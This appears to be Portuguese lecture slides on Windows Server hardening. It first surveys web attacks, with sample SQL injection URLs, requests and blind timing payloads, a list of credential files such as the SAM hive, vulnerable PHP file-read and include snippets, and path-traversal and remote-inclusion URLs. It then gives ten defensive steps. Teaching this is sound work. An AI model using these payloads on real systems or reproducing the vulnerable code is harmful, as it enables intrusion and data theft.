Hardening em Felipe Tenório [email protected] Tipos de Ataques Felipe Tenório [email protected] SQL Injection • Injeção direta de comandos SQL é uma técnica onde um atacante cria ou altera comandos SQL existentes para expor dados escondidos, ou sobrescrever dados valiosos, ou ainda executar comandos de sistema perigosos no servidor. • Consultas SQL são capazes de passar indetectadas por controles de acesso • Algumas vezes consultas SQL podem permitir acesso à comando em nível do sistema operacional do servidor • Devido à falta de validação de entrada e conectando ao banco de dados usando o super-usuário ou um usuário que pode criar usuário, o atacante pode criar um super-usuário no seu banco de dados. Felipe Tenório Fonte: Site Microsoft [email protected] Felipe Tenório Fonte: PHP Site [email protected] SQL Injection XP_CMDSHELL • O que você pode fazer com isso? Imagine um mundo de possibilidades, criar diretórios, pastas, copiar arquivos, obter informações de forma mais simples, por outro lado, o risco também é grande, um descuido com essa xp e você dança. Formas de Injeção • GET https://vulnerable.web.app/list_report.aspx?number=001%20 UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;-- Felipe Tenório [email protected] SQL Injection • POST POST https://vulnerable.web.app/forgotpass.asp HTTP/1.1 Host: vulnerable.web.app User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*; q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://vulnerable.web.app/forgotpass.asp Content-Type: application/x-www-form-urlencoded Content-Length: 50 email=%27&whichSubmit=submit&submit.x=0&submit.y=0 Felipe Tenório [email protected] SQL Injection • HTML HEADERS Referer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]-- • BLIND SQL INJECTION • Tentativa e Acerto select * from books where title=text entered by the user • Timing if exists (select * from pubs..pub_info) waitfor delay '0:0:5' Felipe Tenório Fonte: OWASP [email protected] SQL Injection • Ferramentas • • • • Havij SQLMAP Pangolin SQL Ninja Felipe Tenório [email protected] SQL Injection • Ferramentas • • • • Havij SQLMAP Pangolin SQL Ninja Felipe Tenório [email protected] Local File Disclosure (LFD) • Nos dá o direito de fazer o download de qualquer arquivo do servidor dentro de nosso privilégio. • Arquivos Alvo: • C:\Windows\system32\drivers\etc\hosts • C:\Windows\System32\config\SAM • C:\Windows\System32\repair\SAM • C:\inetpub\*.* • Index.asp / index.php / default.asp / default.php • Conexao.asp / Conn.php Felipe Tenório [email protected] Local File Disclosure (LFD) • Exemplo: <?php $file = $_GET['file']; $readfile = readfile($file); ?> • Como explorar? http://www.targetweb.com/index.php/file.php?path=../index.php Felipe Tenório [email protected] Remote File Inclusion (RFI) • A função include() do PHP e do ASP é usada para incluir arquivos. • Se essa função não for usada com cautela, um usuário mal-intencionado poderá incluir scripts e executar comandos arbitrários no sistema. <!--#include file="wisdom.inc"--> <? include($_GET['page']); ?> http://127.0.0.1/vuln.php?page=http://www.qualquer-coisa.com/imagem.gif Felipe Tenório [email protected] Remote File Inclusion (RFI) Felipe Tenório [email protected] Port Scanning • Não é propriamente um ataque; • Permite fazer fingerprinting; • Possibilitar o encontro de vulnerabilidades Ferramentas: • Nmap • Hping3 • Angry IP Scanner Felipe Tenório [email protected] Port Scanning • Não é propriamente um ataque; • Permite fazer fingerprinting; • Possibilitar o encontro de vulnerabilidades Ferramentas: • Nmap • Hping3 • Angry IP Scanner Felipe Tenório [email protected] Windows Server Serviços: • IIS • FTP • SMTP • SMB • Active Directory • DNS • ... Felipe Tenório [email protected] Hardening em 10 passos 1) Configurar política de segurança • SCW (Security Configuration Wizard) • Pode ser instalado pelo painel de controle; • Configura portas,serviços, registro e audita as configurações de acordo com o “role” do servidor ou as aplicações instaladas; • O SCW usa uma série de templates XML que podem ser facilmente gerenciados; • Times Microsoft ajudam no desenvolvimento. Felipe Tenório [email protected] Hardening em 10 passos Felipe Tenório [email protected] Hardening em 10 passos • O que é uma política de segurança? Por que ter uma? • Definição de uma política de segurança Uma política de segurança é a expressão formal das regras pelas quais é fornecido acesso aos recursos tecnológicos da empresa • Propósitos de um política de segurança • Quem deve ser envolvido na formulação da política? • O que faz uma boa política de segurança? • Mantendo a política flexível Felipe Tenório [email protected] Hardening em 10 passos 2) Desabilitar ou deletar contas, portas e ser viços desnecessários • Bloquear portas e protocolos não utilizados; • Desabilitar serviços não essenciais; • Dupla checagem – Mesmo após ter usado o SCW; • Durante a instalação do Windows 2008 server, por padrão, três contas de usuário local são criadas automaticamente: Administrator, Guest e Help Assistant. • A conta do Administrator que tem mais privilégios deve ter seu nome alterado ou ser desabilitada; • As contas guest e Help assistant devem ser desabilitadas. Felipe Tenório [email protected] Hardening em 10 passos 3) Desinstalar aplicações desnecessárias • Instalações devem ser minímas e relacionadas ao Role do server; • É de boa conduta testar as aplicações em ambiente separado da produção; • Ao instalar uma aplicação verificar se ela abriu regra no firewall ou criou conta de usuário; Ferramentas úteis: • Microsoft SysInternal Tools (REGMON, FILEMON, Process Explorer, Root Kit Revealer) • Belarc Advisor (Faz perfil detalhado dos softwares e hardwares do server, checa anti-vírus e hot fixes) Felipe Tenório [email protected] Hardening em 10 passos 4) Configurar o Firewall do Windows Ser ver • Traz grandes possibilidades de configuração; • Deve ser duplamente checado para evitar portas abertas e serviços desnecessários; • Filtra tráfego de entrada e saída; • Cria regras baseadas no AD; • Suporte a IPSEC; • Comando NetSh C:\>netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=TCP localport=3389 Felipe Tenório [email protected] Hardening em 10 passos 5) Configurar Auditoria • Windows Server 2008 > possibilitar auditor quem e qual atributo foi modificado bem como os parâmetros antigos e novos; Os seguintes eventos devem ser auditados: • Gerenciamento de Contas • • Acessos ao diretório de serviços Tentativas de logon • • Acesso a objetos • Trocas de políticas • Uso de privilégios Tracking de processos • Felipe Tenório Logon de Contas • Eventos do sistema [email protected] Hardening em 10 passos Felipe Tenório [email protected] Hardening em 10 passos http://www.eventid.net/ Felipe Tenório [email protected] Hardening em 10 passos 6) Desabilitar compartilhamentos desnecessários • Compatilhamentos podem ser uma ótima porta de entrada para ataques; • Comando: net share • $ no final do compartilhamento o torna escondido; • Devem ser sempre configuradas senhas/permissões para os compartilhamentos; Felipe Tenório [email protected] Hardening em 10 passos 7) Configurar criptografia • BitLocker Drive Encryption (BitLocker); • BitLocker protege o S.O. e os dados gravados no disco; • Componente opcional; • TrueCrypt; c:\>ServerManagerCmd -install BitLocker -restart Felipe Tenório [email protected] Hardening em 10 passos 8) Atualizações e Hot Fixes • As atualizações de segurança e os hot fixes são parte primordial de qualquer hardening; • Os administradores devem sempre esta atualizando e aplicando patches em seus servidores para evitar 0-days; • Não devem se ater apenas ao S.O.; • Windows Server Update Services (WSUS) - Permite checar e instalar atualizações para toda rede; • Microsoft Baseline Security Analyzer (MBSA) – Permite ao professional de segurança checar como está o seu Sistema em acordância com os preceitos da Microsoft. Felipe Tenório [email protected] Hardening em 10 passos 9) Antivírus e NAP • Melhor forma de prevenção é a atualização do antivírus utilizado no servidor constantemente. • Não baixar arquivos de origem duvidosa na rede externa, Não inserir discos inseguros nos computadores... • O administrador do sistema deve se manter sempre atualizado e seguir medidas de segurança com o objetivo de proteger o sistema de possíveis ameaças. Network Access Protection Escaneia e identifica máquinas que não tem as última definições de antivírus, service packs ou patches de segurança. Felipe Tenório [email protected] Hardening em 10 passos Felipe Tenório [email protected] Hardening em 10 passos 10) P rincípio do "privilégio mínimo" • Trabalhar com o mínimo de direitos necessários para executar uma ação minimiza os danos quando algo ruim acontece; • Maioria da brechas de segurança se aproveitam de privilégios elevados; Ferramentas: • Script Logic’s Cloak ( aumenta a segurança do Windows NT File System (NTFS)) • Microsoft Management Console; Link interessante: • http://msdn.microsoft.com/pt-br/library/cc518037.aspx Felipe Tenório IIS – Internet Information Services • URLScan • PLESK • Erros personalizados • Permissões de execução • Proteção por senha • URLS Reescritas • Parar sites inativos / Excluir • LOGS • Limitação de MIME Types • Proxy Reverso Felipe Tenório